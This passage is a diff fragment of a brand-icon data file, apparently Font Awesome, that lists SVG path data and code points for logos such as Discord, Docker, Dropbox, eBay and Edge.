51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z" ], + dailymotion: [ 448, 512, [], "e052", "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z" ], + dashcube: [ 448, 512, [], "f210", "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z" ], + deezer: [ 576, 512, [], "e077", "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z" ], + delicious: [ 448, 512, [], "f1a5", "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z" ], + deploydog: [ 512, 512, [], "f38e", "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z" ], + deskpro: [ 480, 512, [], "f38f", "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z" ], + dev: [ 448, 512, [], "f6cc", "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z" ], + deviantart: [ 320, 512, [], "f1bd", "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z" ], + dhl: [ 640, 512, [], "f790", "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z" ], + diaspora: [ 512, 512, [], "f791", "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z" ], + digg: [ 512, 512, [], "f1a6", "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z" ], + "digital-ocean": [ 512, 512, [], "f391", "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z" ], + discord: [ 640, 512, [], "f392", "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z" ], + discourse: [ 448, 512, [], "f393", "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z" ], + dochub: [ 416, 512, [], "f394", "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z" ], + docker: [ 640, 512, [], "f395", "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z" ], + draft2digital: [ 480, 512, [], "f396", "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z" ], + dribbble: [ 512, 512, [], "f17d", "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z" ], + "dribbble-square": [ 448, 512, [], "f397", "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z" ], + dropbox: [ 528, 512, [], "f16b", "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z" ], + drupal: [ 448, 512, [], "f1a9", "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z" ], + dyalog: [ 416, 512, [], "f399", "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z" ], + earlybirds: [ 480, 512, [], "f39a", "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z" ], + ebay: [ 640, 512, [], "f4f4", "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z" ], + edge: [ 512, 512, [], "f282", "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z" ], + "edge-legacy": [ 512, 512, [], "e078", 